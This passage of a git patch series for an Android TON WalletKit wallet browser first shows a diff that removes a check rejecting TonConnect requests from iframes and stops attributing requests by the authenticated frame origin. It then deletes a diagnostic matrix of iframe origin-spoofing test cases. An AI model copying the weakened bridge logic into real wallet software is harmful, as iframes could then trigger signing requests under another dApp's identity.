Logger.w(TAG, "WEB_MESSAGE_LISTENER unsupported — per-frame origin enforcement unavailable") - webView.addJavascriptInterface(bridgeInterface, BrowserConstants.JS_INTERFACE_NAME) - } + webView.addJavascriptInterface( + bridgeInterface, + BrowserConstants.JS_INTERFACE_NAME, + ) // Register WebView with existing sessions (important when app is reopened) // This ensures disconnect and other events work after the WebView is recreated @@ -267,23 +240,10 @@ internal class TonConnectInjector( val config = (walletKit as? TONWalletKit)?.engine?.getConfiguration() val injectOptions = buildInjectOptions(config) - // Create initialization script that calls window.injectWalletKit(options). - // The WebMessageListener object (window.) may attach a - // moment after this document-start script runs, so wait briefly for it before - // initialising the bridge — otherwise the bundle's transport would not find it. + // Create initialization script that calls window.injectWalletKit(options) val fullScript = """ $injectionScript - (function () { - var init = function () { window.injectWalletKit($injectOptions); }; - if (typeof ${BrowserConstants.JS_INTERFACE_NAME} !== 'undefined') { init(); return; } - var tries = 0; - var timer = setInterval(function () { - if (typeof ${BrowserConstants.JS_INTERFACE_NAME} !== 'undefined' || tries++ > 50) { - clearInterval(timer); - init(); - } - }, 2); - })(); + window.injectWalletKit($injectOptions); """.trimIndent() // Allow all origins (*) since this is a wallet browser that loads any dApp @@ -483,32 +443,16 @@ internal class TonConnectInjector( pendingRequests.clear() } - private fun handleBridgeMessage(json: JsonObject, type: String, sourceOrigin: String?, isMainFrame: Boolean) { + private fun handleBridgeMessage(json: JsonObject, type: String) { scope.launch { when (type) { - BrowserConstants.MESSAGE_TYPE_BRIDGE_REQUEST -> handleBridgeRequest(json, sourceOrigin, isMainFrame) + BrowserConstants.MESSAGE_TYPE_BRIDGE_REQUEST -> handleBridgeRequest(json) else -> Logger.w(TAG, "Unknown message type: $type") } } } - /** - * Entry point for the WebMessageListener transport: carries the platform-authenticated - * [sourceOrigin] and [isMainFrame] for the frame that posted the message. - */ - private fun handleSecureBridgeMessage(message: String?, sourceOrigin: String?, isMainFrame: Boolean) { - val raw = message ?: return - val json = try { - Json.parseToJsonElement(raw).jsonObject - } catch (e: Exception) { - Logger.e(TAG, "Failed to parse secure bridge message", e) - return - } - val type = json.optString(BrowserConstants.KEY_TYPE) - handleBridgeMessage(json, type, sourceOrigin, isMainFrame) - } - - private fun handleBridgeRequest(json: JsonObject, sourceOrigin: String?, isMainFrame: Boolean) { + private fun handleBridgeRequest(json: JsonObject) { val frameId = json.optString(BrowserConstants.KEY_FRAME_ID, BrowserConstants.DEFAULT_FRAME_ID) val messageId = json.optString(BrowserConstants.KEY_MESSAGE_ID) val method = json.optString(BrowserConstants.KEY_METHOD, BrowserConstants.DEFAULT_METHOD) @@ -518,18 +462,6 @@ internal class TonConnectInjector( return } - // SECURITY: only the top (main) frame may drive the wallet. A request from any - // sub-frame (iframe) — regardless of its origin or self-reported frameId — is - // rejected, so an embedded iframe cannot issue connect/sign/transaction calls under - // the host dApp's identity. (isMainFrame is platform-authenticated via the - // WebMessageListener; on legacy WebViews without it, it is true by best-effort.) - if (!isMainFrame) { - Logger.w(TAG, "Blocked TonConnect '$method' from sub-frame (origin=$sourceOrigin, frameId=$frameId)") - pendingRequests[messageId] = PendingRequest(frameId, messageId, method, System.currentTimeMillis()) - sendResponse(messageId, errorResponse(FORBIDDEN_IFRAME_MESSAGE, ERROR_CODE_FORBIDDEN)) - return - } - // Store pending request with frame info val pending = PendingRequest( frameId = frameId, @@ -543,7 +475,17 @@ internal class TonConnectInjector( val engine = engine if (engine == null) { Logger.e(TAG, "WalletKit engine not available!") - sendResponse(messageId, errorResponse(ERROR_WALLET_ENGINE_NOT_INITIALIZED, ERROR_CODE_INTERNAL)) + // Send error response back to dApp + val errorResponse = buildJsonObject { + put( + ResponseConstants.KEY_ERROR, + buildJsonObject { + put(ResponseConstants.KEY_MESSAGE, ERROR_WALLET_ENGINE_NOT_INITIALIZED) + put(ResponseConstants.KEY_CODE, ERROR_CODE_INTERNAL) + }, + ) + } + sendResponse(messageId, errorResponse) return } @@ -570,14 +512,9 @@ internal class TonConnectInjector( // string so the engine can parse it back per the TonConnect method contract. val paramsJson: String? = json[ResponseConstants.KEY_PARAMS]?.toString() - // SECURITY: derive the dApp domain from the platform-authenticated frame - // origin (sourceOrigin) rather than webView.url. webView.url is always the - // main-frame URL, so using it would attribute the request to the host dApp - // regardless of which frame actually sent it. Fall back to webView.url only - // on legacy WebViews where sourceOrigin is unavailable. - val dAppUrl = sourceOrigin?.takeIf { it.isNotBlank() && it != "null" } - ?: webView.url - ?: currentUrl + // Use WebView's current URL (the main frame URL) instead of tracking it manually + // This is more reliable than trying to detect page vs resource loads + val dAppUrl = webView.url ?: currentUrl engine.handleTonConnectRequest( messageId = messageId, @@ -591,7 +528,17 @@ internal class TonConnectInjector( ) } catch (e: Exception) { Logger.e(TAG, "Failed to forward request to WalletKit engine", e) - sendResponse(messageId, errorResponse(e.message ?: ERROR_FAILED_PROCESS_REQUEST, ERROR_CODE_INTERNAL)) + // Send error response back to dApp + val errorResponse = buildJsonObject { + put( + ResponseConstants.KEY_ERROR, + buildJsonObject { + put(ResponseConstants.KEY_MESSAGE, e.message ?: ERROR_FAILED_PROCESS_REQUEST) + put(ResponseConstants.KEY_CODE, ERROR_CODE_INTERNAL) + }, + ) + } + sendResponse(messageId, errorResponse) } } } @@ -616,16 +563,6 @@ internal class TonConnectInjector( ) } - private fun errorResponse(message: String, code: Int): JsonObject = buildJsonObject { - put( - ResponseConstants.KEY_ERROR, - buildJsonObject { - put(ResponseConstants.KEY_MESSAGE, message) - put(ResponseConstants.KEY_CODE, code) - }, - ) - } - @Serializable private data class InjectOptions( val isWalletBrowser: Boolean, From 5add6273534929780697f955cb1611d4de9e214d Mon Sep 17 00:00:00 2001 From: Nikita Rodionov Date: Mon, 15 Jun 2026 10:55:54 +0300 Subject: [PATCH 07/10] Clean up --- .../ui/screen/WalletKitInvestigationScreen.kt | 9 +- .../ui/screen/iframesec/IframeSecurityCase.kt | 435 ------------------ .../screen/iframesec/IframeSecurityWebView.kt | 126 ----- .../WalletKitIframeSecurityScreen.kt | 305 ------------ .../WalletKitRealBridgeIframeScreen.kt | 83 ++++ .../walletkit/browser/TonConnectInjector.kt | 147 ++++-- 6 files changed, 195 insertions(+), 910 deletions(-) delete mode 100644 AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityCase.kt delete mode 100644 AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityWebView.kt delete mode 100644 AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitIframeSecurityScreen.kt diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletKitInvestigationScreen.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletKitInvestigationScreen.kt index baa5fbad..15f119f1 100644 --- a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletKitInvestigationScreen.kt +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletKitInvestigationScreen.kt @@ -53,12 +53,11 @@ import io.ton.walletkit.demo.designsystem.theme.SmoothCornerShape import io.ton.walletkit.demo.designsystem.theme.TonTheme import io.ton.walletkit.demo.presentation.ui.dialog.UrlPromptDialog import io.ton.walletkit.demo.presentation.ui.screen.iframesec.RealBridgeIframeCase -import io.ton.walletkit.demo.presentation.ui.screen.iframesec.WalletKitIframeSecurityScreen import io.ton.walletkit.demo.presentation.ui.screen.iframesec.WalletKitRealBridgeIframeScreen import io.ton.walletkit.demo.presentation.util.QrScanner import io.ton.walletkit.extensions.injectTonConnect -private enum class InvestigationPage { Tonconnect, DappWebView, IframeMatrix, RealBridge } +private enum class InvestigationPage { Tonconnect, DappWebView, RealBridge } /** * Developer "Wallet Kit Investigation" screen: a list of debug tools reached from the wallet-home @@ -85,11 +84,6 @@ fun WalletKitInvestigationScreen( DappWebViewScreen(onBack = { page = null }, walletKit = walletKit, modifier = modifier) return } - InvestigationPage.IframeMatrix -> { - BackHandler { page = null } - WalletKitIframeSecurityScreen(onBack = { page = null }, modifier = modifier) - return - } InvestigationPage.RealBridge -> { BackHandler { page = null } WalletKitRealBridgeIframeScreen(walletKit = walletKit, onBack = { page = null }, modifier = modifier) @@ -115,7 +109,6 @@ fun WalletKitInvestigationScreen( onClick = { page = InvestigationPage.Tonconnect }, ) InvestigationRow(title = "dApp WebView", onClick = { page = InvestigationPage.DappWebView }) - InvestigationRow(title = "Iframe Security Matrix", onClick = { page = InvestigationPage.IframeMatrix }) InvestigationRow( title = "Iframe Security — Real dApp Bridge", onClick = { page = InvestigationPage.RealBridge }, diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityCase.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityCase.kt deleted file mode 100644 index e069822a..00000000 --- a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityCase.kt +++ /dev/null @@ -1,435 +0,0 @@ -/* - * Copyright (c) 2025 TonTech - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - */ -package io.ton.walletkit.demo.presentation.ui.screen.iframesec - -import android.util.Base64 - -/** - * Synthetic iframe-security matrix (diagnostic only). - * - * Each case serves a self-contained page (main frame at https://parent-dapp.test/) plus iframes - * that exercise one attack surface. A diagnostic bridge object (window.iframeSecLog, wired via - * WebViewCompat.addWebMessageListener) logs every postMessage together with the REAL per-frame - * origin the platform reports (sourceOrigin + isMainFrame) — so the claimed and actual origins can - * be compared side by side. No real WalletKit bridge is involved here. - */ -enum class IframeSecurityCase(val routeKey: String) { - BASELINE("baseline"), - SAME_ORIGIN_IFRAME("sameOriginIframe"), - PROGRAMMATIC_IFRAME("programmaticIframe"), - SAME_ORIGIN_VIA_PATH("sameOriginViaPath"), - SUFFIX_SPOOFED_SUBDOMAIN("suffixSpoofedSubdomain"), - CROSS_ORIGIN_IFRAME("crossOriginIframe"), - NESTED_IFRAME("nestedIframe"), - SIBLING_IFRAMES("siblingIframes"), - PAYLOAD_ORIGIN_SPOOF("payloadOriginSpoof"), - SANDBOXED_IFRAME("sandboxedIframe"); - - val title: String - get() = when (this) { - BASELINE -> "1. Baseline (no iframe)" - SAME_ORIGIN_IFRAME -> "2. Same-origin iframe (srcdoc)" - PROGRAMMATIC_IFRAME -> "2a. Programmatic iframe (no src)" - SAME_ORIGIN_VIA_PATH -> "2b. Same-origin via path" - SUFFIX_SPOOFED_SUBDOMAIN -> "2c. Suffix-spoofed subdomain" - CROSS_ORIGIN_IFRAME -> "3. Cross-origin iframe (data:)" - NESTED_IFRAME -> "4. Nested iframes (3 levels)" - SIBLING_IFRAMES -> "5. Sibling iframes (cross-origin)" - PAYLOAD_ORIGIN_SPOOF -> "6. Payload origin spoofing" - SANDBOXED_IFRAME -> "7. Sandboxed iframe" - } - - val summary: String - get() = when (this) { - BASELINE -> - "Sanity check. Parent page, no iframes. Verifies the diagnostic bridge logs " + - "main-frame events with the expected origin." - SAME_ORIGIN_IFRAME -> - "srcdoc iframe inherits the parent's origin. A bridge keyed by origin alone cannot " + - "distinguish parent from iframe." - PROGRAMMATIC_IFRAME -> - "Parent creates an iframe via document.createElement('iframe') with no src/srcdoc. " + - "The about:blank document inherits the parent's origin." - SAME_ORIGIN_VIA_PATH -> - "Parent at https://parent-dapp.test/ embeds an iframe at /widget on the same host. " + - "Different path does not break SOP — both frames share an origin." - SUFFIX_SPOOFED_SUBDOMAIN -> - "Iframe loaded from https://evil.parent-dapp.test/widget. A naive " + - "origin.endsWith(\"parent-dapp.test\") check would accept it; exact-host match rejects." - CROSS_ORIGIN_IFRAME -> - "iframe loaded via data: URL gets an opaque (\"null\") origin. If approval is tied to " + - "the parent origin, the iframe must be rejected." - NESTED_IFRAME -> - "Three-level: parent -> iframe A (data:) -> iframe B (data:). The deepest frame " + - "triggers an event; the bridge should see B's origin, not the parent's." - SIBLING_IFRAMES -> - "Two opaque-origin siblings under one parent. One simulates a connect, the other a " + - "transaction. They must not share permission state." - PAYLOAD_ORIGIN_SPOOF -> - "iframe sends a payload that claims origin https://parent-dapp.test. The bridge must " + - "trust the platform-reported sourceOrigin, never the payload." - SANDBOXED_IFRAME -> - "iframe sandbox=\"allow-scripts\" (no allow-same-origin) gets a fresh opaque origin " + - "even with srcdoc." - } - - val vulnerabilityClass: String - get() = when (this) { - BASELINE -> "(none) — reference baseline." - SAME_ORIGIN_IFRAME -> "CWE-940. Origin-only permission is bypassed by frames that inherit origin." - PROGRAMMATIC_IFRAME -> "Same as case 2 — origin-only permission; iframe is also fully scriptable from the parent." - SAME_ORIGIN_VIA_PATH -> "Origin-only permission. sourceOrigin is path-agnostic; per-path control needs explicit URL tracking." - SUFFIX_SPOOFED_SUBDOMAIN -> "CWE-1390 / weak origin verification. Substring/suffix matching + subdomain trust." - CROSS_ORIGIN_IFRAME -> "CWE-346. Bridge must reject events whose sourceOrigin differs from the granted origin." - NESTED_IFRAME -> "Confused-deputy / nested-frame relay. Trust does not transit through intermediate frames." - SIBLING_IFRAMES -> "Shared permission state. Per-tab/per-WebView permissions leak between unrelated iframes." - PAYLOAD_ORIGIN_SPOOF -> "Self-reported origin. Bridge must use the platform sourceOrigin, never the JS payload." - SANDBOXED_IFRAME -> "Sandbox origin semantics. allow-scripts without allow-same-origin yields an opaque origin." - } - - val observation: String - get() = when (this) { - BASELINE -> "Real and claimed origin both = https://parent-dapp.test. isMainFrame = true." - SAME_ORIGIN_IFRAME -> "Real origin equals the parent's (green badge) but isMainFrame = false. Origin alone is not enough." - PROGRAMMATIC_IFRAME -> "Real origin = https://parent-dapp.test (same as parent). isMainFrame = false." - SAME_ORIGIN_VIA_PATH -> "Both frames report https://parent-dapp.test. The /widget path is not part of sourceOrigin." - SUFFIX_SPOOFED_SUBDOMAIN -> "Iframe origin = https://evil.parent-dapp.test (different host). A suffix match would wrongly accept it." - CROSS_ORIGIN_IFRAME -> "Iframe real origin is logged as opaque/null. isMainFrame = false." - NESTED_IFRAME -> "The deepest frame logs its own opaque origin. Parent never appears for that event." - SIBLING_IFRAMES -> "Each sibling reports a distinct opaque origin. No shared identity." - PAYLOAD_ORIGIN_SPOOF -> "Claimed origin (red) = parent-dapp.test, but the real origin is opaque. The mismatch is the vulnerability." - SANDBOXED_IFRAME -> "Origin is opaque even though srcdoc would normally inherit. Sandbox strips same-origin." - } - - /** Main URL the WebView loads for this case. */ - val mainUrl: String get() = "$PARENT_ORIGIN/" - - /** - * In-memory route table (url -> html) served via shouldInterceptRequest. Always serves the - * main page; cases with same-host navigated iframes add extra routes. - */ - fun routes(): Map { - val routes = linkedMapOf() - when (this) { - BASELINE -> routes["$PARENT_ORIGIN/"] = doc( - """ -
-
PARENT
-
origin:
- - -
- - """, - ) - - SAME_ORIGIN_IFRAME -> { - val inner = doc( - """ -
-
SRCDOC IFRAME — inherits parent origin
-
origin:
- - -
- """, - ) - routes["$PARENT_ORIGIN/"] = doc( - """ -
-
PARENT
-
origin:
- -
- - - """, - ) - } - - PROGRAMMATIC_IFRAME -> routes["$PARENT_ORIGIN/"] = doc( - """ -
-
PARENT
-
origin:
- - -
-
- - """, - ) - - SAME_ORIGIN_VIA_PATH -> { - routes["$PARENT_ORIGIN/"] = doc( - """ -
-
PARENT ($PARENT_ORIGIN/)
-
origin:
- -
- - - """, - ) - routes["$PARENT_ORIGIN/widget"] = doc( - """ -
-
SAME-ORIGIN WIDGET (/widget path)
-
origin:
- - -
- """, - ) - } - - SUFFIX_SPOOFED_SUBDOMAIN -> { - routes["$PARENT_ORIGIN/"] = doc( - """ -
-
PARENT ($PARENT_ORIGIN/)
-
origin:
- -
- - - """, - ) - routes["$EVIL_ORIGIN/widget"] = doc( - """ -
-
SUFFIX-SPOOFED WIDGET (evil.parent-dapp.test)
-
origin:
- - -
- """, - ) - } - - CROSS_ORIGIN_IFRAME -> { - val inner = doc( - """ -
-
DATA: IFRAME — opaque origin
-
origin:
- - -
- """, - ) - routes["$PARENT_ORIGIN/"] = doc( - """ -
-
PARENT
-
origin:
- -
- - - """, - ) - } - - NESTED_IFRAME -> { - val innerB = doc( - """ -
-
IFRAME B — deepest (data:)
-
origin:
- - -
- """, - ) - val innerA = doc( - """ -
-
IFRAME A — middle (data:)
-
origin:
- - -
- """, - ) - routes["$PARENT_ORIGIN/"] = doc( - """ -
-
PARENT
-
origin:
-
- - - """, - ) - } - - SIBLING_IFRAMES -> { - val a = doc( - """ -
-
SIBLING A (data:)
-
origin:
- - -
- """, - ) - val b = doc( - """ -
-
SIBLING B (data:)
-
origin:
- - -
- """, - ) - routes["$PARENT_ORIGIN/"] = doc( - """ -
-
PARENT
-
origin:
-
- - - - """, - ) - } - - PAYLOAD_ORIGIN_SPOOF -> { - val inner = doc( - """ -
-
DATA: IFRAME — lies in payload
-
real origin:
- - -
- """, - ) - routes["$PARENT_ORIGIN/"] = doc( - """ -
-
PARENT
-
origin:
-
- - - """, - ) - } - - SANDBOXED_IFRAME -> { - val inner = doc( - """ -
-
SANDBOXED SRCDOC (allow-scripts only)
-
origin:
- - -
- """, - ) - routes["$PARENT_ORIGIN/"] = doc( - """ -
-
PARENT
-
origin:
-
- - - """, - ) - } - } - return routes - } - - companion object { - const val PARENT_ORIGIN = "https://parent-dapp.test" - const val EVIL_ORIGIN = "https://evil.parent-dapp.test" - - private val HTML_HEAD = """ - - - - """.trimIndent() - - private fun doc(body: String): String = - "$HTML_HEAD${body.trimIndent()}" - - private fun dataUrl(html: String): String { - val b64 = Base64.encodeToString(html.toByteArray(Charsets.UTF_8), Base64.NO_WRAP) - return "data:text/html;charset=utf-8;base64,$b64" - } - - private fun srcdocEscape(html: String): String = - html.replace("&", "&").replace("\"", """) - } -} diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityWebView.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityWebView.kt deleted file mode 100644 index cf3871ef..00000000 --- a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityWebView.kt +++ /dev/null @@ -1,126 +0,0 @@ -/* - * Copyright (c) 2025 TonTech - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - */ -@file:SuppressLint("SetJavaScriptEnabled") - -package io.ton.walletkit.demo.presentation.ui.screen.iframesec - -import android.annotation.SuppressLint -import android.net.Uri -import android.util.Log -import android.view.ViewGroup -import android.webkit.WebResourceRequest -import android.webkit.WebResourceResponse -import android.webkit.WebView -import androidx.compose.runtime.Composable -import androidx.compose.ui.Modifier -import androidx.compose.ui.viewinterop.AndroidView -import androidx.webkit.WebViewClientCompat -import androidx.webkit.WebViewCompat -import androidx.webkit.WebViewFeature -import org.json.JSONObject -import java.io.ByteArrayInputStream - -private const val TAG = "IframeSecWebView" - -/** - * Diagnostic WebView for the synthetic iframe-security matrix. - * - * - Serves the case's in-memory routes (https://parent-dapp.test/...) via shouldInterceptRequest, - * so navigated same-host / subdomain iframes get real, distinct origins. - * - Wires a diagnostic bridge object `window.iframeSecLog` via WebViewCompat.addWebMessageListener. - * The listener receives the platform-reported sourceOrigin + isMainFrame for the posting frame — - * the ground-truth origin that JS cannot forge. - */ -@Composable -fun IframeSecurityWebView( - testCase: IframeSecurityCase, - log: IframeSecLog, - modifier: Modifier = Modifier, -) { - val routes = testCase.routes() - AndroidView( - modifier = modifier, - factory = { context -> - WebView(context).apply { - layoutParams = ViewGroup.LayoutParams( - ViewGroup.LayoutParams.MATCH_PARENT, - ViewGroup.LayoutParams.MATCH_PARENT, - ) - settings.javaScriptEnabled = true - settings.domStorageEnabled = true - - webViewClient = object : WebViewClientCompat() { - override fun shouldInterceptRequest( - view: WebView, - request: WebResourceRequest, - ): WebResourceResponse? { - val url = request.url.toString().substringBefore('#').substringBefore('?') - val html = routes[url] ?: return null - return WebResourceResponse( - "text/html", - "utf-8", - ByteArrayInputStream(html.toByteArray(Charsets.UTF_8)), - ) - } - } - - if (WebViewFeature.isFeatureSupported(WebViewFeature.WEB_MESSAGE_LISTENER)) { - WebViewCompat.addWebMessageListener( - this, - "iframeSecLog", - setOf("*"), - ) { _, message, sourceOrigin, isMainFrame, _ -> - handleMessage(log, message.data, sourceOrigin, isMainFrame) - } - } else { - Log.w(TAG, "WEB_MESSAGE_LISTENER not supported on this WebView") - } - - loadUrl(testCase.mainUrl) - } - }, - ) -} - -private fun handleMessage( - log: IframeSecLog, - raw: String?, - sourceOrigin: Uri?, - isMainFrame: Boolean, -) { - val data = raw ?: return - val json = runCatching { JSONObject(data) }.getOrNull() ?: return - - val actualOrigin = sourceOrigin?.toString().orEmpty().ifEmpty { "null (opaque)" } - val payload = json.optJSONObject("payload")?.toString().orEmpty() - - log.add( - IframeSecLogEntry( - frameLabel = json.optString("frameLabel", "?"), - action = json.optString("action", "?"), - claimedOrigin = json.optString("claimedOrigin", "?"), - actualOrigin = actualOrigin, - isMainFrame = isMainFrame, - payload = if (payload == "{}") "" else payload, - ), - ) -} diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitIframeSecurityScreen.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitIframeSecurityScreen.kt deleted file mode 100644 index 0f3e5127..00000000 --- a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitIframeSecurityScreen.kt +++ /dev/null @@ -1,305 +0,0 @@ -/* - * Copyright (c) 2025 TonTech - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - */ -package io.ton.walletkit.demo.presentation.ui.screen.iframesec - -import androidx.activity.compose.BackHandler -import androidx.compose.foundation.background -import androidx.compose.foundation.border -import androidx.compose.foundation.clickable -import androidx.compose.foundation.layout.Arrangement -import androidx.compose.foundation.layout.Box -import androidx.compose.foundation.layout.Column -import androidx.compose.foundation.layout.PaddingValues -import androidx.compose.foundation.layout.Row -import androidx.compose.foundation.layout.fillMaxSize -import androidx.compose.foundation.layout.fillMaxWidth -import androidx.compose.foundation.layout.height -import androidx.compose.foundation.layout.padding -import androidx.compose.foundation.lazy.LazyColumn -import androidx.compose.foundation.lazy.items -import androidx.compose.foundation.lazy.rememberLazyListState -import androidx.compose.foundation.shape.RoundedCornerShape -import androidx.compose.material3.HorizontalDivider -import androidx.compose.material3.Text -import androidx.compose.material3.TextButton -import androidx.compose.runtime.Composable -import androidx.compose.runtime.LaunchedEffect -import androidx.compose.runtime.getValue -import androidx.compose.runtime.mutableStateOf -import androidx.compose.runtime.remember -import androidx.compose.runtime.setValue -import androidx.compose.ui.Alignment -import androidx.compose.ui.Modifier -import androidx.compose.ui.draw.clip -import androidx.compose.ui.graphics.Color -import androidx.compose.ui.text.font.FontFamily -import androidx.compose.ui.text.font.FontWeight -import androidx.compose.ui.unit.dp -import androidx.compose.ui.unit.sp -import io.ton.walletkit.demo.designsystem.theme.TonTheme -import io.ton.walletkit.demo.presentation.ui.screen.SubScreenTopBar -import java.text.SimpleDateFormat -import java.util.Date -import java.util.Locale - -private val timeFormat = SimpleDateFormat("HH:mm:ss.SSS", Locale.US) - -/** - * Synthetic iframe-security matrix. A list of cases; tapping one opens a detail screen with the - * diagnostic WebView and a live log comparing the JS-claimed origin against the platform-reported - * (ground-truth) frame origin. - */ -@Composable -fun WalletKitIframeSecurityScreen( - onBack: () -> Unit, - modifier: Modifier = Modifier, -) { - var selected by remember { mutableStateOf(null) } - - val current = selected - if (current != null) { - BackHandler { selected = null } - IframeSecurityCaseScreen(testCase = current, onBack = { selected = null }, modifier = modifier) - return - } - - Column( - modifier = modifier - .fillMaxSize() - .background(TonTheme.colors.bgSecondary), - ) { - SubScreenTopBar(title = "Iframe Security", onBack = onBack) - LazyColumn( - modifier = Modifier - .fillMaxSize() - .padding(16.dp), - verticalArrangement = Arrangement.spacedBy(12.dp), - ) { - item { - Text( - text = "Each case serves a self-contained page (main frame at " + - "https://parent-dapp.test/) with iframes that exercise a specific attack " + - "surface. A diagnostic bridge logs every postMessage with the real frame " + - "origin (WebViewCompat sourceOrigin), so claimed vs actual can be compared.", - style = TonTheme.typography.footnote.style, - color = TonTheme.colors.textSecondary, - ) - } - items(IframeSecurityCase.entries) { testCase -> - Column( - modifier = Modifier - .fillMaxWidth() - .clip(RoundedCornerShape(12.dp)) - .background(TonTheme.colors.bgPrimary) - .clickable { selected = testCase } - .padding(16.dp), - verticalArrangement = Arrangement.spacedBy(4.dp), - ) { - Text( - text = testCase.title, - style = TonTheme.typography.bodySemibold.style, - color = TonTheme.colors.textPrimary, - ) - Text( - text = testCase.summary, - style = TonTheme.typography.footnote.style, - color = TonTheme.colors.textSecondary, - ) - } - } - } - } -} - -@Composable -private fun IframeSecurityCaseScreen( - testCase: IframeSecurityCase, - onBack: () -> Unit, - modifier: Modifier = Modifier, -) { - val log = remember(testCase) { IframeSecLog() } - - Column( - modifier = modifier - .fillMaxSize() - .background(TonTheme.colors.bgSecondary), - ) { - SubScreenTopBar(title = testCase.title, onBack = onBack) - - DescriptionPanel(testCase) - HorizontalDivider() - - IframeSecurityWebView( - testCase = testCase, - log = log, - modifier = Modifier - .fillMaxWidth() - .weight(1f), - ) - - HorizontalDivider() - LogPanel(log = log, modifier = Modifier.fillMaxWidth()) - } -} - -@Composable -private fun DescriptionPanel(testCase: IframeSecurityCase) { - Column( - modifier = Modifier - .fillMaxWidth() - .background(TonTheme.colors.bgPrimary) - .padding(12.dp), - verticalArrangement = Arrangement.spacedBy(6.dp), - ) { - Field("Summary", testCase.summary) - Field("Class", testCase.vulnerabilityClass) - Field("What to watch", testCase.observation) - } -} - -@Composable -private fun Field(title: String, body: String) { - Column(verticalArrangement = Arrangement.spacedBy(2.dp)) { - Text(title, style = TonTheme.typography.caption1.style, color = TonTheme.colors.textPrimary, fontWeight = FontWeight.Bold) - Text(body, style = TonTheme.typography.caption1.style, color = TonTheme.colors.textSecondary) - } -} - -@Composable -private fun LogPanel(log: IframeSecLog, modifier: Modifier = Modifier) { - val listState = rememberLazyListState() - LaunchedEffect(log.entries.size) { - if (log.entries.isNotEmpty()) listState.animateScrollToItem(log.entries.size - 1) - } - - Column(modifier = modifier.height(240.dp)) { - Row( - modifier = Modifier - .fillMaxWidth() - .background(TonTheme.colors.bgSecondary) - .padding(horizontal = 12.dp, vertical = 6.dp), - verticalAlignment = Alignment.CenterVertically, - ) { - Text( - text = "Bridge log (${log.entries.size})", - style = TonTheme.typography.caption1.style, - color = TonTheme.colors.textPrimary, - fontWeight = FontWeight.Bold, - modifier = Modifier.weight(1f), - ) - TextButton(onClick = { log.clear() }, enabled = 